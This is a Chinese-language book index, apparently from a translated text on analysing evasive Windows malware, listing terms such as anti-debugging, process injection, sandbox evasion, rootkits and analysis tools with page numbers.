凭证,提取和重用, 254
-
加密工具, 346
-
Crypt* 函数, 162–163, 332–335, 337, 343, 378, 425. 另见 解密; 加密
-
CryptoAPI, 324–325, 332–335
-
加密提供者类型, 334
-
加密服务提供者 (CSP) 模块, 332
-
加密 API:下一代 (CNG), 332, 335–336
-
cscript.exe, 300
-
csrss.exe, 249
-
Cuckoo, 20, 31–32, 75, 78–79, 115, 143–144, 437
-
CVE-2021-36934, 255
-
CVEdetails, 419
-
CyberChef,322–324,330,339
-
D
-
d4rksystem,410–411
-
数据执行保护,221
-
DDoS(分布式拒绝服务),261
-
DebugActiveProcess 函数,58,173,180,425
-
调试阻塞,180
-
调试,58–69,167–180
-
使用 x64dbg 进行分析,62
-
x64dbg 中的参数面板,60
-
断点,58
-
使用调试器检测,174
-
硬件中,66–68
-
内存中,66–68,175–176
-
软件中,65–66
-
选择调试器,58
-
x64dbg 中的 CPU 寄存器面板,60
-
x64dbg 中的 CPU 标签,59
-
崩溃,179
-
调试对象,170
-
禁用 ASLR,62–63
-
x64dbg 中的转储面板,61
-
利用,179
-
x64dbg 中的内存映射标签,61–62
-
修补和修改代码,68–69
-
进程,173
-
在 x64dbg 中运行代码,64–65
-
x64dbg 中的堆栈面板,61
-
Windows,172–173
-
欺骗数据,134
-
欺骗网络通信,136
-
解密,325–330,338–343
-
非对称,326–327
-
动态,339–343
-
密钥,325–327,333
-
静态,339
-
Deep Freeze,419
-
Dekel, Kasif,287
-
延迟执行,130–134
-
DeleteFile 函数,307,425
-
拒绝服务(DoS)漏洞,239
-
Desai, Deepen,271
-
Detect It Easy (DIE),160,353
-
设备驱动,266
-
设备枚举,88–90
-
VirtualBox,90
-
VMware,90
-
DeviceIOControl 函数,270–272,279,425
-
DGAs(域名生成算法),260–261
-
数字签名, 245–246
-
强制, 286–287
-
直接注入, 199
-
直接内核对象操作 (DKOM), 272–274
-
目录和文件枚举, 98
-
虚拟机, 78–79
-
直接系统调用, 239–243
-
DirtyMoe, 284
-
禁用主机防御, 235–236
-
禁用服务, 237
-
反汇编工具, 51
-
选择, 52–53
-
Ghidra, 52–53
-
IDA, 52–55
-
反汇编, 44, 51–52
-
代码与数据问题, 52
-
线性(又名线性扫描), 51
-
递归(又名流向导向), 52
-
派发表, 275
-
破坏手动调查, 144–145
-
分布式拒绝服务(DDoS)攻击, 261
-
DKOM(直接内核对象操作), 272–274
-
DllCharacteristics 字段, 63
-
DLLs. 参见 动态链接库
-
DNS. 参见 域名系统
-
域配置枚举, 110
-
域生成算法 (DGAs), 260–261
-
域名系统 (DNS)
-
流量, 40
-
隧道传输, 257–258
-
冒名顶替, 212
-
DoS(服务拒绝攻击), 239
-
双重快速流量技术, 262
-
Dridex, 133, 177–178, 381
-
驱动程序
-
枚举, 88–90
-
硬件设备, 5
-
非硬件设备, 5
-
驱动程序签名强制 (DSE), 286–287
-
投放工具, xxiii
-
DR 寄存器, 175–176
-
DsGetDcName 函数, 110, 426
-
虚假代码, 132–133, 156
-
DuplicateToken(Ex) 函数, 254, 426
-
Duqu, 309
-
dword(数据类型), 44
-
动态编译恶意代码, 304–305
-
动态 API 函数解析, 161
-
动态代码分析, 58–71
-
动态链接库 (DLLs), 8
-
劫持, 214–216, 251
-
注入, 203
-
模块,120
-
搜索顺序,214
-
DynamoRIO,420
-
E
-
Eagle, Chris,435–436
-
早期启动反恶意软件(ELAM)驱动程序,231,287
-
Eclypsium,288
-
Edge 浏览器文件位置,97
-
EDR。参见 终端检测与响应
-
EFLAGS 寄存器,46,126
-
电子邮件保护技术,257
-
Emotet,127,297
-
Emsisoft,333
-
模拟,代码,382,420–421
-
模拟引擎,226
-
编码,319–323
-
加密,256–257,319–320,325–343
-
非对称,326–327
-
解密加密恶意软件数据,339–343
-
定位和识别恶意软件中的加密例程,336–338
-
对称,326–327
-
终端防御
-
积极规避,235–239
-
引擎限制,246–247
-
历史,224
-
识别,232–235
-
被动规避,239
-
漏洞,238–239
-
终端检测与响应(EDR),224,227–246,262–263,272,283
-
代理,227–230
-
文件系统工件,234
-
内核驱动程序和回调,230–231
-
日志记录与分析,231–232
-
进程工件,233
-
注册表工件,234
-
遥测,227
-
终端保护平台(EPPs),224
-
熵,352–353
-
EnumChildWindows 函数,186
-
EnumDateFormatsEx 函数,186
-
EnumDisplayMonitors 函数,106,186,426
-
枚举,操作系统
-
设备和驱动程序,88–90。另见 硬件与设备配置枚举
-
目录和文件,78–79,98
-
域配置,110
-
已安装软件,84–85
-
IP 地址配置,109–110
-
语言设置,90–92
-
加载模块,119–120,173
-
区域设置,90–92
-
互斥量,85–86
-
开放端口,115
-
进程,76–78
-
注册表,80–83
-
运行路径,118
-
服务,83–84
-
用户名和主机名,90
-
版本信息,92–93
-
EnumServiceStatus 函数,83,426
-
EnumSystemFirmwareTables 函数,108,426
-
EnumSystemLanguageGroups 函数,186
-
EnumWindows 函数,99,146,172,426
-
端点保护平台(EPPs),224
-
EPROCESS 结构,9,180,272
-
反向链接(blink),9,273–274
-
正向链接(flink),9,273–274
-
ESET
-
软件,233,236
-
威胁研究,248,259,271,309
-
EtwEventWrite 函数,238
-
规避,xxii–xxvi。另见 沙箱
-
Windows 事件跟踪(ETW),229,238
-
异常处理程序,189。另见 结构化异常处理程序
-
异常,124
-
EXCEPTION_ACCESS_VIOLATION 错误,191
-
异或(XOR),327–331,340
-
执行层,内核,5
-
Exeinfo,160,353–354
-
数据外泄,39
-
ExitProcess 函数,130,426
-
ExitWindows 函数,134,426
-
漏洞攻击,虚拟机监控程序,146
-
导出地址表,14
-
导出,30,204
-
ExpressVPN, 112
-
扩展检测与响应(XDR), 232
-
外部 IP 地址, 112
-
验证, 112–114
-
F
-
FakeDNS, 389
-
FakeNet, 389
-
快速流技术, 261–262
-
Fiddler, 36, 39
-
文件追加, 309
-
文件命令, 22–23
-
文件仿真, 226
-
无文件恶意软件, 289–294
-
无文件攻击, 290
-
悖论, 292
-
文件元数据, 247
-
FILE_OBJECT 属性, 214
-
文件时间结构, 315
-
FileTimeToSystemTime 函数, 315
-
文件类型,识别, 22
-
过滤驱动程序, 266, 281–282
-
高度, 282
-
FIN7, 216–217
-
FindCrypt, 337–338
-
FindFirstFile 函数, 78, 426
-
FindFirstUrlCacheEntry 函数, 97, 426
-
FindNextFile 函数, 78, 426
-
FindNextUrlCacheEntry 函数, 97, 426
-
FindWindow 函数, 99, 172–173, 426
-
Firefox 文件位置, 96
-
防火墙配置, 237
-
固件, 107
-
FirmwareTablesView 函数, 107
-
表格枚举, 107
-
标志,CPU 寄存器, 46–47
-
FLARE-VM, 401–402, 405
-
flinks(前向链接), 9, 273–274
-
FLOSS, 29, 164, 342, 405
-
面向流的反汇编(即递归反汇编), 52
-
FltEnumerateFilters 函数, 283, 427
-
FltEnumerateInstances 函数, 283, 427
-
FltGetFilterFromName 函数, 283, 427
-
FltRegisterFilter 函数, 282–283, 427
-
前台窗口枚举, 98–99
-
Formbook, 136–137
-
转发链接 (flinks), 9, 273–274
-
Fox-IT, 252
-
FreeLibrary 函数, 139
-
频率, 性能计数器, 123
-
FRIDA, 420
-
FsRtlRegisterFileSystemFilterCallbacks 函数, 231
-
FudModule, 271
-
函数指针滥用, 159
-
G
-
Gafgyt, 257
-
地理围栏, 259
-
GetAdaptersAddresses 函数, 109–111, 427
-
GetAsyncKeyState 函数, 101, 427
-
GetComputerName 函数, 110, 334, 427
-
GetCurrentProcess 函数, 130
-
GetCurrentProcessId 函数, 173
-
GetCursorPos 函数, 100, 427
-
GetDiskFreeSpace 函数, 105, 427
-
GetForegroundWindow 函数, 98–99, 427
-
GetKeyboardLayout 函数, 91, 427
-
GetKeyboardLayoutList 函数, 91, 427
-
GetLastError 函数, 169–170, 427
-
GetLocalTime 函数, 172, 428
-
GetLogicalDrives 函数,7
-
GetLogicalProcessorInformation 函数,104,428
-
GetModuleFileName 函数,118,428
-
GetModuleHandle 函数,120,173,203,428
-
GetNativeSystemInfo 函数,104
-
GetPhysicallyInstalledSystemMemory 函数,105,428
-
GetProcAddress 函数,133,140–141,161–162,165,203–204,349–351,370,428
-
GetProcessPreferredUILanguages 函数,91,429
-
GetSystemDefaultLCID 函数,91,429
-
GetSystemDefaultUILanguage 函数,91,429
-
GetSystemFirmwareTable 函数,108,428
-
GetSystemInfo 函数,104,428
-
GetSystemMetrics 函数,106,428
-
GetSystemTime 函数,172,428
-
GetTcpTable 函数,114–115,429
-
GetThreadContext 函数,176,429
-
GetThreadLocale 函数,91,429
-
GetTickCount64 函数,429
-
GetTickCount 函数,101–102,121–123,171–172,429
-
GetUserDefaultLCID 函数, 91, 429
-
GetUserDefaultUILanguage 函数, 91, 429
-
GetVersionEx 函数, 92–93
-
GetWindowText 函数, 146, 429
-
Ghidra, 52–53, 153, 160, 337–338, 402, 436
-
GhostHook, 287
-
GlobalAddAtom 函数, 209, 429
-
GlobalGetAtomName 函数, 209, 429
-
Go (Golang), 245
-
Goodin, Daniel, 309
-
Google, 25, 113, 131, 245, 259
-
Gould, Tara, 305
-
GuLoader, 180, 325
-
H
-
hacktools, xxiv
-
Hahn, Karsten, 209
-
HalPrivateDispatchTable 结构, 287
-
Hand, Matt, 436
-
Windows 中的句柄, 6
-
加固, 虚拟机和虚拟机监控器, 412–414. 参见 恶意软件分析实验室
-
硬件抽象层, 5
-
硬件和设备配置枚举, 103–115
-
CPU, 104
-
硬盘, 105–106
-
显示器配置, 106
-
RAM, 105
-
USB 控制器, 107
-
硬件断点
-
绕过, 175–176
-
在 x64dbg 中的设置, 365
-
基于哈希的检测, 225
-
hasherezade, 271
-
哈希, 23
-
级联, 324
-
冲突, 24
-
数据, 164–165, 323–325
-
MD5, 23–24
-
小节, 178–179
-
SHA-1, 23–24
-
SHA256, 23–24
-
Hatching Triage, 31, 437
-
堆, 内存, 11
-
堆标志, 170
-
HermeticWiper, xxiv, 267–271
-
基于启发式的检测, 225
-
隐藏线程, 193
-
HideProcess, 274
-
隐藏伪装与代码, 306–312
-
Higgins, Kelly Jackson, 248
-
劫持 DLL 和 Shim, 214–218, 251
-
Hinchliffe, Alex, 307
-
HiveNightmare, 255
-
注册表 hives, 16–17, 255–256, 292, 294
-
HKEY 根键, 16
-
空洞进程注入, 205–207
-
HollowsHunter, 379–380
-
Honig, Andrew, 436
-
挂钩, 100–101, 121, 137–141, 218–222, 378, 433
-
规避, 沙箱规避, 140
-
检测, 沙箱规避, 138
-
导入地址表, 221
-
注入, 缓解方法, 221
-
内联, 219
-
键盘钩子, 101
-
鼠标钩子, 100
-
移除, 沙箱规避, 139–140
-
SetWindowsHookEx 函数, 100–101, 218–219, 433
-
主机机器, 恶意软件实验室, 388
-
主机名更改工具, 411
-
主机名, 90, 411
-
枚举, 90
-
HTML 应用程序(.hta)文件, 298
-
HTTP 流量, 40
-
Hybrid Analysis, 31, 437
-
HyperHide, 182–183
-
虚拟机监控程序, 20
-
漏洞利用, 146
-
实验室设置, 388–389, 390–391
-
I
-
IDA Pro, 52–55, 160, 248, 436
-
使用分析, 53–55
-
IDA Signsrch, 337
-
IDT(中断描述符表)寄存器, 124
-
图像(IMG)内存, 13
-
ImpersonateLoggedOnUser 函数, 254, 429
-
导入地址表(IAT), 14
-
挂钩, 221
-
导入
-
打包工具, 350–352
-
PE 文件, 30
-
威胁指示器 (IOCs), 35
-
间接 API 调用, 161–163
-
间接系统调用, 242
-
InetSim, 389
-
无限循环, 132–133
-
InfinityHook, 287
-
信息窃取者, xxiii
-
InitiateShutdown 函数, 134, 429
-
InitiateSystemShutdown 函数, 134, 429
-
InjectDLL 补丁, 216
-
内联钩子, 219
-
内核钩子, 276–278
-
输入/输出 (IO) 端口, 124–125
-
检查恶意软件网络流量, 39–40
-
已安装软件枚举, 84–85
-
安装 Windows, 393–394
-
InstallUtil (installutil.exe), 299
-
完整性级别, 249
-
英特尔 Pin, 420–421
-
交互式行为分析, 36–40
-
InternetConnect 函数, 113, 378, 430
-
Internet Explorer 文件位置, 96
-
InternetOpen 函数, 54–55, 65–66, 69, 430
-
InternetReadFile 函数, 113, 430
-
中断描述符表 (IDT) 寄存器, 124
-
中断, 124
-
Intezer, 31
-
入侵防御系统 (IPS), 256
-
IO 管理器, 278, 281. 另见 IO 请求包端口, 124–125
-
Ionescu, Alex, 436
-
IoRegisterBootDriverCallback 回调, 231
-
IO 请求包 (IRPs), 275–282
-
代码, 278–279
-
函数表, 279
-
钩子, 278
-
拦截(即过滤), 281–282
-
IoWMISetNotificationCallback 回调, 231
-
IP 地址配置枚举, 109–110
-
IsDebuggerPresent 函数, 161, 168, 430
-
IsNativeVhdBoot 函数, 106
-
IsProcessorFeaturePresent 函数, 104, 430
-
J
-
JavaScript, 263
-
Joe Sandbox, 20, 31–35, 297–298, 437
-
跳转表, 161–163
-
K
-
卡巴斯基, 224–225, 233–234, 239, 285–286, 315
-
KeBugCheckEx 函数, 287
-
内核, Windows
-
回调, 283–285
-
调试器, 169
-
驱动程序, 230, 266
-
执行层, 5
-
钩子技术, 274–315
-
内核模式 API, 7
-
内存管理器, 5
-
模式, 3
-
模块, 266
-
进程管理器, 5
-
kernel32.dll, 7–8, 14, 161–162, 202, 228, 240
-
kernelbase.dll, 8
-
基于内核的虚拟机(KVM), 390
-
内核补丁保护(KPP), 274, 286–288
-
键盘记录, xxiv, 255
-
KillAV, 235
-
杀毒软件, xxiii
-
KiUserExceptionDispatcher 函数, 192
-
Kleymenov, Alexey, 436
-
Kosayev, Uriel, 247, 437
-
Kuznetsov, Igor, 286
-
KVM(基于内核的虚拟机), 390
-
L
-
实验室。另见 恶意软件分析实验室
-
语言标识符, 91
-
语言设置枚举, 90–92
-
后进先出(LIFO), 47–48
-
Lazarus 小组, 271
-
LdrLoadDll 函数, 228
-
lea(加载有效地址)指令, 88
-
最低有效位(LSB)技术, 311–312。另见 隐写术
-
Lechtik, Mark, 286
-
传统过滤器驱动程序,281。另见 过滤器驱动程序
-
Legezo, Denis,315
-
Lesueur, Jean-Pierre,437
-
Levy, Jamie,436
-
Ligh, Michael Hale,436
-
线性反汇编(即线性扫描),51
-
Linux,389–390
-
Living Off The Land Binaries(LOLBins),292,294–306
-
已加载模块枚举,119–120,173
-
加载有效地址(lea)指令,88
-
加载器,xxiii
-
LoadLibrary 函数,133,142,161,164–165,203,219,349–351,370,428,430
-
本地描述符表(LDT),124
-
区域设置和语言枚举,90–92
-
本地安全机构子系统服务(LSASS),254
-
Lockbit,325
-
逻辑炸弹,132
-
日志篡改,312–316
-
Lokibot,xxiv,299
-
LOLBins(Living Off The Land Binaries),292,294–306
-
低级功能,141–142
-
lsass.exe,254
-
M
-
MAC 地址,110–112,397–399
-
机器代码,44
-
宏,295
-
魔法字节,22
-
主要功能表,279
-
MalShare,438
-
Mal_Unpack,380–381
-
恶意软件
-
分析概述,xxv,19–21
-
行为分析,36–40
-
配置信息提取自,35
-
使用 Yara 检测,26–27
-
监控行为,37–40
-
搜索引擎,25–26,28
-
分诊,21
-
类型,xxii–xxv
-
恶意软件分析实验室,387–422
-
高级虚拟机和虚拟化管理程序加固,412–414
-
架构,388–390
-
本地分析,419–420
-
构建和配置,390–414
-
操作安全和有效性,416–419
-
模拟网络服务,416–418
-
对虚拟机进行压力测试,414–416
-
MalwareBazaar,25,438
-
Malwarebytes,213
-
恶意软件流量分析,438
-
Mandiant,56,217,309,401
-
手动加载库并调用函数,142–143
-
映射内存,13
-
假冒,247
-
主引导记录(MBR),xxiv,316
-
Matrosov, Alex,437
-
McAfee,22,214,224,233
-
MD5,23–24,323
-
媒体访问控制(MAC)地址,110–112,397–399
-
Mele, Gage,305
-
memcmp 函数,121
-
memcpy 函数,140
-
内存
-
炸弹攻击,247
-
断点,66–68,175–176
-
已提交,13
-
损坏,15–16
-
释放,362
-
堆,11
-
镜像,13
-
映射,13
-
页面保护,177
-
物理,11
-
私有,13
-
保护,359,363–364
-
可读写可执行,228
-
保留,13
-
字符串,120
-
虚拟,11–13
-
内存管理器,内核,5
-
内存常驻恶意软件,289。参见 无文件恶意软件
-
文件中的元数据,30–31,315
-
Microsoft Build Engine,305
-
Microsoft 加密 API。参见 CryptoAPI
-
Microsoft Defender,232,236,401
-
Microsoft Hyper-V,390
-
Microsoft Office,229
-
Microsoft 安全中心,232,235
-
Microsoft 易受攻击的驱动程序阻止列表,287
-
Mimikatz,255
-
MinGW 编译器,305
-
微型过滤器驱动,231,267,281
-
Mitre CVE 数据库,238
-
MmProtectMdlSystemAddress 函数, 277
-
Windows 中的模式, 3
-
Module32First 函数, 120, 173, 235, 430
-
Module32Next 函数, 120, 173, 235, 430
-
Mofang, 252
-
监控恶意软件行为, 37–40
-
Moriya, 266
-
MosaicRegressor, 285–286
-
鼠标坐标, 100
-
movdqa(移动对齐的双四字双字)指令, 126
-
msbuild.exe, 305
-
msconfig.exe, 250–252
-
Mshta(mshta.exe), 298
-
MsiEnumProducts 函数, 84
-
多阶段攻击, 262–263
-
突变, 243–244
-
代码块重排序, 243
-
引擎, 244
-
寄存器重分配, 244
-
互斥体, 6
-
枚举, 85–86
-
VirtualBox, 86
-
VMware, 86
-
MZ 头, 22
-
N
-
Nance, Kara, 436
-
原生 API, 7
-
NCC Group, 252
-
Necurs, 284
-
.NET 框架, 144, 245, 305
-
netstat.exe, 114
-
网络控制, 256
-
网络防御,规避, 256–262
-
网络检测与响应(NDR), 257
-
网络入侵检测系统(NIDS), 256–257
-
网络流量
-
恶意软件分析, 39–40
-
混淆和掩盖, 257
-
Nim, 245
-
Nirsoft, 107
-
No Pill 技术, 123–124
-
NordVPN, 112
-
Norton, 224
-
NtAllocateVirtualMemory 函数, 7, 139–140, 199, 240–241, 361–362
-
NtClose 函数, 170, 424
-
NtCreateFile 函数, 143, 219–221, 278–280, 424
-
NtCreateProcess 函数, 8, 211, 213, 425
-
NtCreateSection 函数, 143
-
NtCreateThreadEx 函数, 193, 200–201, 211–212, 425
-
NtCreateTransaction 函数, 430
-
NtCreateUserProcess 函数, 211, 228, 425
-
NtDeleteFile 函数, 425
-
ntdll.dll, 7–8, 14, 143, 161, 219–221, 228, 240–243
-
NTFS 文件系统, 300, 307–308, 315
-
ntinternals, 7
-
NtLoadDriver 函数, 270, 430
-
NtMapViewOfSection 函数, 143, 242, 430
-
NtOpenDirectoryObject 函数, 88, 430
-
NtOpenProcess 函数, 199, 431
-
ntoskrnl.exe, 5, 7, 275–278, 280, 283
-
NtProtectVirtualMemory 函数, 141, 363
-
NtQueryDirectoryObject 函数, 88, 430
-
NtQueryInformationProcess 函数, 169, 430
-
NtQueryObject 函数, 170, 430
-
NtQuerySystemInformation 函数, 108, 169, 431
-
NtQuerySystemTime 函数, 172, 431
-
NtQueryVirtualMemory 函数, 176, 434
-
NtQueueApcThread 函数, 208–209, 432
-
NtReadVirtualMemory 函数, 138, 432
-
NtResumeThread 函数, 207, 242, 381, 432
-
NtSetInformationFile 函数, 316
-
NtSetInformationThread 函数, 179, 193, 431
-
NtUnmapViewOfSection 函数, 206, 229, 431
-
NtWriteVirtualMemory 函数, 200–201, 207, 242, 434
-
PEB 中的 NumberOfProcessors 值, 10
-
Nvidia, 246
-
O
-
Windows 中的对象, 6
-
OEP(原始入口点), 347–350, 371–374, 377
-
Office 最近文件列表, 97
-
OllyDbg, 179
-
不透明谓词, 157–158
-
OpenMutex 函数, 85–86, 431
-
开放端口枚举, 115
-
OpenProcess 函数, 145, 198–199, 201, 203–204, 208, 254, 431
-
OpenProcessToken 函数, 431
-
OpenService 函数, 83, 431
-
OpenThread 函数,207–209,431
-
操作系统伪迹,75
-
操作安全(OPSEC),416–419
-
Orion(SolarWinds),xxii
-
Osipov, Arnold,251
-
OutputDebugString 函数,169–170,427,431
-
P
-
打包器,244,346–354
-
架构和功能
-
解决导入,349–350
-
将执行转移到 OEP,350
-
解包恶意软件有效载荷,348–349
-
识别打包的恶意软件,350–354
-
自动化打包器检测,353–354
-
熵,352–353
-
导入,350–352
-
PE 部分,353
-
字符串,352
-
类型,346
-
Pafish,414–416
-
虚拟内存中的页面表,11
-
Parshin, Yury,286
-
PatchGuard,274,286–288
-
PathFindFileName 函数,118
-
PEB。参见 进程环境块
-
PE-bear,181,350
-
PE Detective,353
-
PE 文件格式。参见 可移植可执行文件格式
-
持久性,134,292–294
-
PE-Sieve,379–380
-
Pestr,164
-
PEStudio,28–29,181,187,350
-
物理内存,11
-
PID(进程 ID),10
-
ping.exe,131
-
管道,86–87
-
管道列表,86–87
-
在 VirtualBox 中,87
-
在 VMware 中,87
-
可移植可执行(PE)文件格式
-
导出地址表,14
-
头部,13
-
DOS,13
-
可选的,13,62–63
-
导入地址表,14
-
加载过程,14–15
-
部分,13–14,353
-
筛查工具,23
-
Windows PE 加载器,13
-
PostMessage 函数,145–146,431
-
PowerShell, 29, 229–230, 236–237, 290–293, 302–305, 409
-
支架, 302–303
-
执行策略, 237
-
混淆, 303
-
查询 WMI, 303–304
-
主数据流, 307
-
进程优先级, 236
-
私钥, 326
-
私有(PRV)内存, 13
-
特权提升, 248
-
漏洞, 255–256
-
ProcDump, 296
-
Process32First 函数, 76, 173
-
Process32Next 函数, 76–77, 173
-
ProcessDebugPort 函数, 169
-
进程双重化, 212–213
-
进程枚举, 76–78
-
进程环境块(PEB), 9–10, 104–105, 167–168, 170–171, 204
-
反调试, 167–168
-
BeingDebugged 函数, 10, 168
-
NtGlobalFlag 函数, 168
-
ProcessHeap 函数, 168
-
NumberOfProcessors 值, 10
-
偏移量, 10
-
进程资源管理器, 38
-
进程幽灵化, 214
-
进程黑客, 12, 36, 38, 249, 267, 402
-
进程 herpaderping, 211–212
-
进程空洞化, 205–207
-
进程 ID(PID), 10
-
进程镜像操作, 197, 210–214
-
双重化, 212–213
-
herpaderping, 211–212
-
幽灵化, 214
-
重成像, 214
-
进程注入, 138, 193, 197–210, 366–370
-
异步过程调用, 207–208
-
原子炸弹, 209
-
直接, 199
-
DLL, 203
-
针对 RATs 的缓解措施,221
-
监控,366–369
-
进程空洞化,205–207
-
反射式 DLL,204–205
-
反射式 shellcode,205
-
阶段式,205
-
无阶段,205
-
自我注入,199
-
shellcode,199–202
-
线程劫持,207
-
跟踪,369–370
-
进程管理器,内核,5
-
进程重新映像,214
-
进程替换,205–207
-
恶意软件沙箱中的进程树,33
-
Procmon(进程监视器),36–38,233–234,402
-
可编程逻辑控制器,xxi
-
程序设计语言,非主流,244–245
-
Proofpoint,248,259
-
提供者签名,108
-
PSExec,296
-
PsLookupProcessByProcessID 函数,273,431
-
PsSetCreateProcessNotifyRoutine 函数,210,212,432
-
PsSetCreateThreadNotifyRoutine 函数,231,283–284,432
-
PsSetLoadImageNotifyRoutine 函数,231,432
-
公钥,326
-
PyCrypto,338
-
Python,245
-
Q
-
Qbot,215
-
Qiling 框架,421
-
QueryPerformanceCounter 函数,123,432
-
QueueUserAPC 函数,208,432
-
qwords(数据类型),44
-
R
-
竞态条件,6
-
RAM,11
-
勒索软件,xxiii
-
RATs(远程访问木马),xxiii
-
rdtsc(读取时间戳计数器)指令,122–123,171–172
-
ReadFile 函数,138,140
-
ReadProcessMemory 函数, 120–121, 138–139, 221, 432
-
可读写执行(RWX)内存, 228
-
递归反汇编(即面向流程的反汇编), 52
-
红色药丸技术, 123–124
-
红队笔记, 243
-
反射式 DLL 注入, 204–205
-
Regedit(注册表编辑器), 17
-
regedit.exe, 82
-
RegEnumKey 函数, 81, 133, 141, 432
-
RegEnumValue 函数, 80–81, 432
-
寄存器,CPU, 44–51
-
注册表,Windows。参见 Windows 注册表
-
RegOpenKey 函数, 80–81, 284, 432
-
RegQueryValue 函数, 38
-
regsvr32 (regsvr32.exe), 297–298
-
Remcos, xxii–xiii, 242
-
Remnux, 389, 404–408, 416–417
-
远程访问木马(RATs), xxiii
-
修复未打包的可执行文件, 375–377
-
保留内存, 13
-
ResumeThread 函数, 206–207, 366, 381–382, 432
-
返回指针滥用, 158
-
RFLAGS 寄存器, 46
-
Rivest 密码 4(RC4), 327, 331–332, 340–241
-
罗奇亚(Roccia),托马斯, 271, 437
-
罗迪奥诺夫(Rodionov),尤金, 437
-
恶意字节技术, 152–153。另见 反汇编
-
RollbackTransaction 函数, 213, 432
-
rootkits, xxiv, 265–267
-
针对的防御, 286–288
-
直接内核对象操作, 272–274
-
检查 EPROCESS 块, 180
-
安装, 269–270
-
ROR-13 哈希, 164–165, 325
-
轮询技术, 261
-
RtlAddVectoredExceptionHandler 函数,424
-
RtlCopyMemory 函数,277,432
-
RtlCreateUserThread 函数,200,425
-
RtlDecompressBuffer 函数,378
-
RtlQueryProcessDebugInformation 函数,171
-
RtlQueryProcessHeapInformation 函数,171,433
-
RtlSetCurrentTransaction 函数,213
-
RtlZeroMemory 函数,307,433
-
rundll32(rundll32.exe),37–38,295–298
-
RunOnce 注册表键,293
-
运行路径枚举,118
-
RunPE,205–207
-
RunPE 解压器,381–382
-
Run 注册表键,293–294
-
Russinovich, Mark E., 436
-
Rust,245
-
RWX(可读写可执行)内存,228
-
S
-
Saini, Ankur,271
-
Salinas, Rotem,283
-
沙箱,20
-
自动化恶意软件分类,31–36
-
绕过分析,144
-
基于云的,226
-
商业,31
-
检测
-
函数执行时间,123
-
性能和时间指标,122–123
-
使用检测技术的风险,127
-
不支持的指令集,125–126
-
规避
-
对策,146–147
-
防御规避,35
-
登出,134
-
重启,134
-
自我终止,130
-
不必要的进程生成,136
-
自由和开源,31
-
进程树,33
-
Sandboxie,120
-
Sandworm,248
-
SANS SIFT 工作站,389
-
Santos, Doel,307
-
Santos, Roberto,271
-
Scylla, 358–359, 374–377
-
ScyllaHide, 181–182
-
SDB Explorer, 217
-
SeBackupPrivilege 函数, 253
-
段哈希, 178–179
-
段对象, 143
-
安全启动, 288
-
安全日志, 313
-
Security Onion, 390
-
SeDebugPrivilege 函数, 254
-
SEH. 参见 结构化异常处理器
-
自愈技术, 178–179
-
自我注入技术, 199
-
SeLoadDriverPrivilege 函数, 254, 270
-
服务控制管理器, 83, 249
-
服务, 83–84
-
枚举, 83–84
-
VirtualBox, 84
-
VMWare, 84
-
services.exe, 83, 249
-
SeShutdownPrivilege 函数, 254
-
SetFileAttributes 函数, 306, 433
-
SetFileInformationByHandle 函数, 316
-
SetFileTime 函数, 316, 433
-
SetLastError 函数, 169–170, 427
-
SetPriorityClass 函数, 236, 433
-
SetThreadContext 函数, 176, 206–207, 433
-
SetUnhandledExceptionFilter 函数, 178, 433
-
SetWindowsHookEx 函数, 100–101, 218–219, 433
-
SHA-1, 23–24, 323
-
SHA256, 23–24, 323
-
ShadowHammer, xxii, 111
-
共享文件夹, 79–80, 400–401, 418
-
shellcode
-
注入, 199–202, 296
-
反射注入, 205
-
SHEnumKeyEx 函数, 141
-
垫片, 214–216
-
劫持, 214, 216–218
-
shutdown.exe, 134
-
sidt 指令, 124
-
西门子可编程逻辑控制器, xxi
-
基于签名的检测, 225
-
绕过, 243
-
文件的签名, 22
-
Sikander, Usman, 243
-
Sikorski, Michael, 436
-
sldt 指令, 124
-
Sleep 函数, 98–100, 121–122, 131, 433
-
睡眠例程, 131, 247, 263, 411
-
快照, 388–389, 408–409
-
SocGholish, 418
-
社会工程学, 247
-
套接字, 142
-
SolarWinds Orion, xxii
-
Solomon, David A., 436
-
Speakeasy, 382, 405, 421
-
间谍软件, xxiv
-
Squiblydoo, 298
-
SSDT (系统服务描述符表), 275–276
-
SSE 指令集, 126
-
栈,内存, 11, 47–48
-
栈字符串, 163–164
-
栈展开, 193
-
Stancill, Blaine, 309
-
StartService 函数, 269–270, 433
-
静态代码分析, 23, 51–57
-
静态属性,分析, 27
-
Stegano, 309
-
隐写术, 309–312
-
Steghide, 312
-
Stevens, Didier, 322, 329, 405
-
Stone-Gloss, Brett, 271
-
流密码, 326
-
字符串混淆, 160–165
-
字符串
-
ASCII, 27
-
提取与分析, 27–28
-
在恶意软件样本中的检查, 352
-
在内存中, 120
-
Unicode(即宽字符)字符串, 27
-
StringSifter, 29–30
-
strings 工具,27–28
-
结构体,104
-
结构化异常处理程序(SEH),158–159,178,189–193
-
帧,189
-
处理程序滥用,158–159
-
记录,189–191
-
Stuxnet,xxi,92
-
Sunburst,xxii
-
SuspendThread 函数,207,433
-
对称加密,326–327
-
系统调用,7
-
直接,239–243
-
间接,242
-
编号(系统调用 ID),241
-
存根,240
-
sysenter,241
-
sysinfo 命令,102
-
Sysinternals 套件,37,88
-
系统二进制代理执行,296
-
系统摧毁,316–317
-
SystemFirmwareTableInformation 参数,108
-
系统日志,313
-
系统服务描述符表(SSDT),275–276
-
系统服务号(SSN),241
-
系统运行时间,101
-
T
-
TA547,259
-
尾跳,350,372
-
篡改日志和证据,312–316
-
篡改保护,401
-
坦纳,阿曼达,307
-
TCP 连接状态,114
-
遥测,227
-
TerminateProcess 函数,91,130,145,228,235,433
-
塔贝特,阿姆尔,436
-
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 标志,193
-
线程环境块(TEB),10–11,186,188–189
-
偏移量,10
-
进程 ID,10
-
线程 ID,11
-
线程局部存储,186
-
ThreadHideFromDebugger 值,179,193
-
线程劫持,207
-
线程信息块(TIB)。参见 线程环境块
-
ThreadInformationClass 参数,193
-
线程局部存储(TLS)回调,186–189
-
时钟滴答,101,122
-
时间炸弹,132
-
超时,沙箱规避,131
-
时间戳篡改,315
-
tiny_tracer,421
-
令牌窃取,254
-
TOR(洋葱路由),112
-
跟踪 API 调用,69–71
-
跳板,221
-
事务化空洞注入,213
-
事务化 NTFS,212–213
-
陷阱标志(TF),47,50,126,181
-
陷阱,174,177–187
-
初步处理(技术),21,23
-
Trickbot,245,251
-
Tripathi,Rahul Dev,283
-
木马(trojans),xxiv
-
在银行业,xxiii
-
远程访问,xxiii
-
Turla,259
-
U
-
